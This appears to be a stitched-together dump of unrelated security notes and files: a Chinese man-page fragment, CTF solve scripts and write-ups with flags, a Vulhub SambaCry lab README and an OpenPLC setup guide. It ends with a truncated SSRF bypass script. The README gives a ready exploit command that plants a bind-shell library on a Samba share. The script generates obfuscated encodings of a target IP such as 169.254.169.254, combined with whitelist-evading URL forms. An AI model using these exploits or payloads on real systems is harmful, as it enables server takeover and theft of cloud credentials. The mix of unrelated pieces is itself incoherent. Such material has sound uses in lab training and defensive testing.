就是打开的,其他的是关闭的; 如果在生成 Info,\fB\-\-ifinfo\fR 就是打开的,其他的是关闭的; 如果在生成普通文本,\fB\-\-ifplaintext\fR 就是打开的,其他的是关闭的; 如果在生成 XML,\fB\-\-ifxml\fR 就是打开的,其他的是关闭的。 .SH "EXAMPLES 范例" .TP makeinfo foo.texi 输出 Info,保存为 foo 的 @setfilename 指定的文件 .TP makeinfo \fB\-\-html\fR foo.texi 输出 HTML,保存为 @setfilename .TP makeinfo \fB\-\-xml\fR foo.texi 输出 XML,保存为 @setfilename .TP makeinfo \fB\-\-docbook\fR foo.texi 输出 DocBook XML,保存为 @setfilename .TP makeinfo \fB\-\-no\-headers\fR foo.texi 输出普通文本,显示在标准输出上。 .IP makeinfo \fB\-\-html\fR \fB\-\-no\-headers\fR foo.texi 输出没有 node lines 和菜单的 html makeinfo \fB\-\-number\-sections\fR foo.texi 输出 Info 并且为段落编号 makeinfo \fB\-\-no\-split\fR foo.texi 输出单一的 Info 文件,不管它多大 .SH "REPORTING BUGS 报告错误" 将错误报告发送到 bug-texinfo@gnu.org,一般的问题和讨论则发送到 help-texinfo@gnu.org。 Texinfo 主页:http://www.gnu.org/software/texinfo/ .SH COPYRIGHT Copyright \(co 2003 Free Software Foundation, Inc. There is NO warranty. You may redistribute this software under the terms of the GNU General Public License. For more information about these matters, see the files named COPYING. .SH "SEE ALSO 参见" .B install-info 的全部文档以 Texinfo 手册页形式保存。如果你的主机上正确安装了 .B info 和 .B install-info 程序,命令 .IP .B info install-info .PP 将使你可以读取完整的手册。
sec-knowleage
import codecs import re from crypto_commons.generic import chunk def get_sounds(): with codecs.open("killthegauls.xml", "r") as input_file: data = input_file.read() return re.findall("<step>(.*)</step>\s*.*\s*<octave>(.*)</octave>", data) def main(): sounds_list = get_sounds() print(sounds_list) final = [] for sound in sounds_list: pitch = sound[0] octave = int(sound[1]) - 4 if octave > 0: final_sound = pitch.lower() else: final_sound = pitch final.append(final_sound) parts = chunk("".join(final), 2) print(parts) scale = "DEFGABcdefgab" # D-major x = [] for part in parts: first = part[0] second = part[1] res = scale.index(first) << 4 res += scale.index(second) x.append(res) flag = "".join([chr(c) for c in x]) print(flag) main()
sec-knowleage
# Release Notes ## 21/3/2020 initial commit ## 9/6/2020 Use Travis for integration and deployment. ## 25/9/2020 Updated theme's color, changed the logo and favicon. Chinese search is now supported. ## 8/5/2021 Add CNAME, now using `wiki.y1ng.org` as the domain of this site.
sec-knowleage
# Samba Authenticated RCE (CVE-2017-7494, Aka SambaCry) [中文版本(Chinese version)](README.zh-cn.md) Samba is the standard Windows interoperability suite of programs for Linux and Unix, it provides secure, stable and fast file and print services for all clients using the SMB/CIFS protocol. Samba 3.x after 3.5.0 and 4.x before 4.4.14, 4.5.x before 4.5.10, and 4.6.x before 4.6.4 that is vulnerable to a remote code execution vulnerability named **SambaCry**. CVE-2017–7494 allows remote authenticated users to upload a shared library to a writable shared folder, and perform code execution attacks to take control of servers that host vulnerable Samba services. ## Environment Setup Execute following commands to start a Samba server 4.6.3: ``` docker compose up -d ``` ## Principle Reference to [SambaCry RCE Exploit](https://medium.com/@lucideus/sambacry-rce-exploit-lucideus-research-3a3e5bd9e17c): > Microsoft Remote Procedure Call (RPC) is a powerful technology for creating distributed client/server programs. RPC is an interprocess communication technique that allows client and server software to communicate. > > MSRPC protocol allows to connect to a named pipe from remote destination. When trying to open a pipe using MSRPC on Samba, the server verifies the validity of the pipe name using the internal function `is_known_pipename()`. > > An external RPC server can be set using the 'rpc_server' variable inside smb.conf and then it will handle the pipe request. > > The function `is_known_pipename()` doesn’t check that the pipe is valid, this allows to use '/' to insert a full path of an arbitrary library. The exploitation requirements: - An anonymous writeable server or an authenticated Samba account - A known path of the writeable sharing directory See also: - https://medium.com/@lucideus/sambacry-rce-exploit-lucideus-research-3a3e5bd9e17c - https://github.com/opsxcq/exploit-CVE-2017-7494 - http://bobao.360.cn/learning/detail/3900.html ## Exploit Samba config ( you can find [here](smb.conf) ) of our target server: ``` [global] map to guest = Bad User server string = Samba Server Version %v guest account = nobody [myshare] path = /home/share read only = no guest ok = yes guest only = yes ``` Use `smbclient` to test connecting: ``` smbclient //your-ip/myshare -N ``` ![](02.png) If you got connection error, please check your network, especially port 445. Using <https://github.com/opsxcq/exploit-CVE-2017-7494> to exploit the server: ``` ./exploit.py -t your-ip -e libbindshell-samba.so -s myshare -r /home/share/libbindshell-samba.so -u guest -p guest -P 6699 ``` Successful execute commands: ![](01.png) Please note that, metasploit's `exploit/linux/samba/is_known_pipename` is tested failed since XX(I don't know) version, and I am really sure that it works on Jun 2017.
sec-knowleage
# OpenPLC 环境搭建 <p align="center"> <img src="../../../../assets/img/banner/OpenPLC.png"> </p> --- **实验环境** `环境仅供参考` - [操作系统] Microsoft Windows 10 企业版 LTSC - 10.0.17763 - [魔法软件] SSTap --- ## 前言 在国内, 你要在 windows 上装 OpenPLC 最好学会挂全局代理, 无论是直接拨 VPN, 还是通过 Proxifier 走隧道, 都可以。 没挂代理之前几个 cygwin 模块,python 模块装下来老夫都快圆寂了. --- ## OpenPLC OpenPLC 项目由三部分组成:Runtime(程序运行环境),Editor(下位机程序编写工具)和 HMI Builder(上位机程序编写工具)。 **运行环境** 可以运行嵌入式操作平台如 Raspberry PI(树莓派)、Unipi Industrial Platform 等平台也可以运行 X86 平台,模拟一个真实 plc 基本控制功能,可以进行数字量和模拟量的控制。并且 openplc 已经内置嵌入式平台 I/O 硬件的驱动。Openplc 内部已经和嵌入式 I/O 进行了地址映射,可以对 I/O 进行操作与控制。Openplc 支持 modbus 协议,支持读线圈(1)、读输入(2)、读保存寄存器(3)、读输入寄存器(4)、写线圈(5)、写寄存器(6)、写多线圈(15)、写多寄存器(16)等基本功能码。目前支持 modbus 和 dnp3 协议。 **下位机编程** openplc 提供配套 plc 下位机编程工具,支持梯形图(LD),功能块图(FBD),指令列表(IL),结构化文本(ST)和顺序功能图(SFC)5 种编程语言,程序编写好后,能够将编译后的程序上传到嵌入式平台 (实plc) 或 X86 平台(软plc),并在平台上执行 plc 程序运算。 **上位机编程** openplc 提供配套 plc 上位机编程工具(ScadaBR),支持组态软件开发,进行 plc 设备数据采集与监控。 ScadaBR 采用 modbus 协议与 plc 实时通信。 --- ## 安装 访问软件官网 https://www.openplcproject.com/runtime/ , 下载 windows 版的 记得挂好代理,运行 exe 一路下一步 安装完毕后打开 OpenPLC Runtime 打开后会运行一个 http 服务 --- ## 使用 创建一个测试项目,从官网下载 Hello World 项目 https://www.openplcproject.com/runtime/windows/ 用 OpenPLC Editor 打开相关目录,点击 Generate program for OpenPLC Runtime 编译 ST 文件 可以在 build 文件夹下看到编译出的 generated_plc.st 然后访问 127.0.0.1:8080 ,默认账号密码 openplc openplc 开启 PLC 服务 单击“choose File”以最终将新的 .st 文件加载到 OpenPLC 中。 自定义描述, 这里有的比赛会加 flag 文件上传后,将直接回到仪表板屏幕,并且 OpenPLC 状态将更改为 “正在编译”。有关编译过程的日志显示在运行时日志框中。编译过程完成后,状态将变为 “正在运行”,新程序将运行。如果程序有错误,状态将更改为 “已停止”,并且错误将显示在运行时日志框中。 --- ## Source & Reference - [一款可自定义多用途PLC设备的可用性分析](https://www.freebuf.com/articles/ics-articles/213018.html) - [OPENPLC ON WINDOWS](https://www.openplcproject.com/runtime/windows/) - [CREATING YOUR FIRST PROJECT](https://www.openplcproject.com/reference/basics/first-project.html) - [UPLOADING YOUR PROJECT TO OPENPLC](https://www.openplcproject.com/reference/basics/upload)
sec-knowleage
# Classifier9000 In this task we have access to a neural network image classifier which returns `(predictions, percentage_probabilities)` pair for each input image. We also have starting image "car.jpg" which is classified as `sports_car`. The task is to forge this image to be classified as `racer`. ![car.jpg](car.jpg) The classifier has web interface and its source code in python is available. The analysis of source code (server.py) revealed two important observations: - the input image is required to be the same size as "car.jpg" which is 224 x 224 px, - the relative difference between the input image and "car.jpg" cannot exceed 2. The first step was to obtain any image which is classified as `racer`. Eventually we found appropriate image and saved it as "racer.jpg" ![racer.jpg](racer.jpg) The initial idea was to modify this image to exploit `diff(I, BASE_IMAGE) > 2` condition. It may be achieved when the output value of `diff` function is `nan`, for example with following transformation: ``` I = np.asarray(Image.open('racer.jpg')) I2 = 1.1 * I - np.log(I) ``` and new image I2 was still classified as `racer` with 14.859884977340698 probability. However we could not directly pass the image from the memory to web classifier. We first needed to save it as a file. Unfortunately, during this operation pixel values were rescaled to 0-255 range. This is why this approach was abandoned. Another idea was to use both "car.jpg" and "racer.jpg" to create falsified image. The new image should be very similar to "car.jpg" but with some characteristics from "racer.jpg" to deceive the classifier. This was successful with the following code: ``` I3 = 0.8 * BASE_IMAGE + 0.1 * I**2 mpimg.imsave('car2.jpg', I3.astype('uint8')) I3 = np.asarray(Image.open('car2.jpg')) prediction.predictImage(I3, result_count=1, input_type="array") ``` ![car2.jpg](car2.jpg) The result of `diff(I3, BASE_IMAGE)` is 1.4934139792559178 which is less than 2. And the output of `prediction.predictImage(I3, result_count=1, input_type="array")` is `racer` with 40.07074534893036 probability. Finally we have the flag! `ctfzone{f1r3-f1r3-pwn-7h3-cl4551f13r}`
sec-knowleage
version: '2' services: samba: image: vulhub/samba:4.6.3 tty: true volumes: - ./smb.conf:/usr/local/samba/etc/smb.conf ports: - "445:445" - "6699:6699"
sec-knowleage
# Times New Roman Category: Cryptography, 100 points ## Description > I found this code in one of the learning center in the Technion, can you figure out what it is? > > Note: the flag is all lowercase ``` 👍💧❄☜👍☟☠✋⚐☠❀❄☟☜♉☝✌💧❄☜☼♉👍☜☠❄☜☼♉✋💧♉❄☟☜♉👌☜💧❄♉☝✌💧❄☜☼❝ ``` ## Solution We know that the flag format is `cstechnion{}`. The 👍 character in the ciphertext seems to match the `c` of the flag format. Using the flag format, we can decipher the following: ``` cstechnion{the???ste??cente??is?the??est???ste?} ``` Using some common sense, we can guess a few more characters: ``` cstechnion{the_??ster_center_is_the_best_??ster} ``` Technion students probably will just know this, for outsiders it's harder but eventually we can find the "[Gaster Center](https://culture.web.technion.ac.il/rifkin/)" in Google (or just brute force the flag using some dictionary). The flag: `cstechnion{the_gaster_center_is_the_best_gaster}`. ### Intended Solution After the CTF, I got a tip from [@dezutterjoachim](https://twitter.com/dezutterjoachim) that the font being used in the challenge is actually known as "W.D. Gaster's Alphabet" (more about that [here](https://wingdingstranslator.com/undertale/)). Using an online translator such as [this one](https://lingojam.com/W-D-Gaster) we can easily decrypt the flag.
sec-knowleage
version: '2' services: web: image: vulhub/confluence:7.13.6 ports: - "8090:8090" depends_on: - db db: image: postgres:12.8-alpine environment: - POSTGRES_PASSWORD=postgres - POSTGRES_DB=confluence
sec-knowleage
#!/usr/bin/python # coding=utf-8 # https://raw.githubusercontent.com/cujanovic/SSRF-Testing/master/ip.py from __future__ import print_function from builtins import oct from builtins import str from builtins import hex from builtins import range from random import * from io import open import datetime import string import os import sys import platform import random EnclosedAlphanumericsData = { '0' : ['⓪'], '1' : ['①'], '2' : ['②'], '3' : ['③'], '4' : ['④'], '5' : ['⑤'], '6' : ['⑥'], '7' : ['⑦'], '8' : ['⑧'], '9' : ['⑨'], '10' : ['⑩'], '11' : ['⑪'], '12' : ['⑫'], '13' : ['⑬'], '14' : ['⑭'], '15' : ['⑮'], '16' : ['⑯'], '17' : ['⑰'], '18' : ['⑱'], '19' : ['⑲'], '20' : ['⑳'], '.' : ['。','。'], 'a' : ['ⓐ'], 'b' : ['ⓑ'], 'c' : ['ⓒ'], 'd' : ['ⓓ'], 'e' : ['ⓔ'], 'f' : ['ⓕ'], 'x' : ['ⓧ'], } def RANDOM_TEXT_SPEC(): min_char = 12 max_char = 16 chars = string.ascii_letters + string.digits + "!$%^&*()<>;:,.|\~`" return "".join(choice(chars) for x in range(randint(min_char, max_char))) def RANDOM_TEXT(): min_char = 12 max_char = 16 chars = string.ascii_letters + string.digits return "".join(choice(chars) for x in range(randint(min_char, max_char))) def DECIMAL_SINGLE(NUMBER,STEP): return int(NUMBER)*(256**STEP) def HEX_SINGLE(NUMBER,ADD0X): if ADD0X == "yes": return str(hex(int(NUMBER))) else: return str(hex(int(NUMBER))).replace("0x","") def OCT_SINGLE(NUMBER): return str(oct(int(NUMBER))).replace("o","") def DEC_OVERFLOW_SINGLE(NUMBER): return str(int(NUMBER)+256) def validIP(address): parts = address.split(".") if len(parts) != 4: return False try: for item in parts: if not 0 <= int(item) <= 255: return False except ValueError: print("\nUsage: python "+sys.argv[0]+" IP EXPORT(optional)\nUsage: python "+sys.argv[0]+" 169.254.169.254\nUsage: python "+sys.argv[0]+" 169.254.169.254 export") exit(1) return True def plain2EnclosedAlphanumericsChar(s0): if s0 not in EnclosedAlphanumericsData: raise Exception('value not found') return random.choice(EnclosedAlphanumericsData[s0]) def convertIP2EnclosedAlphanumericsValue(): IPAddressParts4EnclosedAlphanumerics = arg1.split(".") returnEnclosedAlphanumericsIPAddress = "" for x in range(0,4): if len(IPAddressParts4EnclosedAlphanumerics[x]) == 3 and (int(IPAddressParts4EnclosedAlphanumerics[x][0]+IPAddressParts4EnclosedAlphanumerics[x][1])) <= 20 and (int(IPAddressParts4EnclosedAlphanumerics[x][0]+IPAddressParts4EnclosedAlphanumerics[x][1]+IPAddressParts4EnclosedAlphanumerics[x][2])) >= 10: returnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar(IPAddressParts4EnclosedAlphanumerics[x][0]+IPAddressParts4EnclosedAlphanumerics[x][1]); returnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar(IPAddressParts4EnclosedAlphanumerics[x][2]); if x <= 2: returnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar('.'); else: returnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar(IPAddressParts4EnclosedAlphanumerics[x][0]); if len(IPAddressParts4EnclosedAlphanumerics[x]) >= 2: returnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar(IPAddressParts4EnclosedAlphanumerics[x][1]); if len(IPAddressParts4EnclosedAlphanumerics[x]) == 3: returnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar(IPAddressParts4EnclosedAlphanumerics[x][2]); if x <= 2: returnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar('.'); return returnEnclosedAlphanumericsIPAddress def convert(s, recurse_chunks=True, error_on_miss=False): if s in EnclosedAlphanumericsData: return random.choice(EnclosedAlphanumericsData[s]) if recurse_chunks and len(s) > 1: return convert(s[:-1]) + convert(s[-1]) if error_on_miss: raise Exception('Value not found: %s' % s) return s def convert_ip(ip, sep='.'): return convert(sep).join([convert(chunk) for chunk in ip.split(sep)]) if len(sys.argv) < 4 or len(sys.argv) >= 6: print("\nUsage: python "+sys.argv[0]+" IP PORT WhiteListedDomain EXPORT(optional)\nUsage: python "+sys.argv[0]+" 169.254.169.254 80 www.google.com\nUsage: python "+sys.argv[0]+" 169.254.169.254 80 www.google.com export") exit(1) redcolor='\x1b[0;31;40m' greencolor='\x1b[0;32;40m' yellowcolor='\x1b[0;33;40m' bluecolor='\x1b[0;36;40m' resetcolor='\x1b[0m' arg1 = str(sys.argv[1]) if validIP(arg1) == False: print("\n",yellowcolor,arg1,resetcolor,redcolor," is not a valid IPv4 address in dotted decimal format, example: 123.123.123.123",resetcolor,sep='') print("\nUsage: python "+sys.argv[0]+" IP EXPORT(optional)\nUsage: python "+sys.argv[0]+" 169.254.169.254\nUsage: python "+sys.argv[0]+" 169.254.169.254 export") exit(1) ipFrag3, ipFrag2, ipFrag1, ipFrag0 = arg1.split(".") PORT=str(sys.argv[2]) RANDPREFIXTEXT=RANDOM_TEXT() RANDPREFIXTEXTSPEC=RANDOM_TEXT_SPEC() RANDOMPREFIXVALIDSITE=str(sys.argv[3]) FILENAME='' try: sys.argv[4] except IndexError: EXPORTRESULTS='' else: EXPORTRESULTS=str(sys.argv[4]) if EXPORTRESULTS == 'export': FILENAME = "export-" + arg1 + "-" + str(datetime.datetime.now().strftime("%H-%M-%d-%m-%Y"))+'.txt' pythonversion = (platform.python_version()) major, minor, patchlevel = pythonversion.split(".") if major == "3": f = open(FILENAME, 'w') else: f = open(FILENAME, 'wb') elif EXPORTRESULTS != '': print("\nUsage: python "+sys.argv[0]+" IP WhiteListedDomain EXPORT(optional)\nUsage: python "+sys.argv[0]+" 169.254.169.254 80 www.google.com\nUsage: python "+sys.argv[0]+" 169.254.169.254 80 www.google.com export") exit(1) #Case 1 - Dotted hexadecimal print("\n",sep='') print(bluecolor,"Dotted hexadecimal IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP1 = HEX_SINGLE(ipFrag3,"yes") + "." + HEX_SINGLE(ipFrag2,"yes") + "." + HEX_SINGLE(ipFrag1,"yes") + "." + HEX_SINGLE(ipFrag0,"yes") print('http://',IP1,':',PORT,'/',sep='') print('http://',IP1,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/','/',sep='') print('http://',IP1,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP1,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP1,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP1,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP1,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP1,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP1,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP1,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP1,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP1,':',PORT,'/',sep='') print('http://',IP1,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP1,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP1,':',PORT,'/',sep='') print('http://',IP1,':',PORT,':80','/',sep='') print('http://',IP1,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP1,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP1,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP1,':',PORT,'/',file=f,sep='') print('http://',IP1,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP1,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP1,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP1,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP1,':',PORT,'/',file=f,sep='') #=========================================================================== print('http://',RANDPREFIXTEXT,'@',IP1,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP1,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP1,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP1,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP1,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP1,':',PORT,'/',file=f,sep='') print('http://',IP1,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP1,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP1,':',PORT,'/',file=f,sep='') print('http://',IP1,':',PORT,':80','/',file=f,sep='') print('http://',IP1,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP1,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP1,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #=========================================================================== #Case 2 - Dotless hexadecimal print(bluecolor,"Dotless hexadecimal IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP2 = HEX_SINGLE(ipFrag3,"yes") + HEX_SINGLE(ipFrag2,"no") + HEX_SINGLE(ipFrag1,"no") + HEX_SINGLE(ipFrag0,"no") print('http://',IP2,':',PORT,'/',sep='') print('http://',IP2,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP2,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP2,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP2,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP2,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP2,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP2,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP2,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP2,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP2,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP2,':',PORT,'/',sep='') print('http://',IP2,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP2,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP2,':',PORT,'/',sep='') print('http://',IP2,':',PORT,':80','/',sep='') print('http://',IP2,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP2,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP2,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP2,':',PORT,'/',file=f,sep='') print('http://',IP2,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP2,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP2,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP2,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP2,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP2,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP2,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP2,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP2,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP2,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP2,':',PORT,'/',file=f,sep='') print('http://',IP2,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP2,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP2,':',PORT,'/',file=f,sep='') print('http://',IP2,':',PORT,':80','/',file=f,sep='') print('http://',IP2,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP2,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP2,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #Case 3 - Dotless decimal print(bluecolor,"Dotless decimal IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP3 = str(DECIMAL_SINGLE(ipFrag3,3) + DECIMAL_SINGLE(ipFrag2,2) + DECIMAL_SINGLE(ipFrag1,1) + DECIMAL_SINGLE(ipFrag0,0)) print('http://',IP3,':',PORT,'/',sep='') print('http://',IP3,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP3,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP3,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP3,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP3,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP3,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP3,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP3,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP3,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP3,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP3,':',PORT,'/',sep='') print('http://',IP3,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP3,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP3,':',PORT,'/',sep='') print('http://',IP3,':',PORT,':80','/',sep='') print('http://',IP3,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP3,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP3,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP3,':',PORT,'/',file=f,sep='') print('http://',IP3,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP3,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP3,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP3,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP3,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP3,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP3,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP3,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP3,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP3,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP3,':',PORT,'/',file=f,sep='') print('http://',IP3,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') 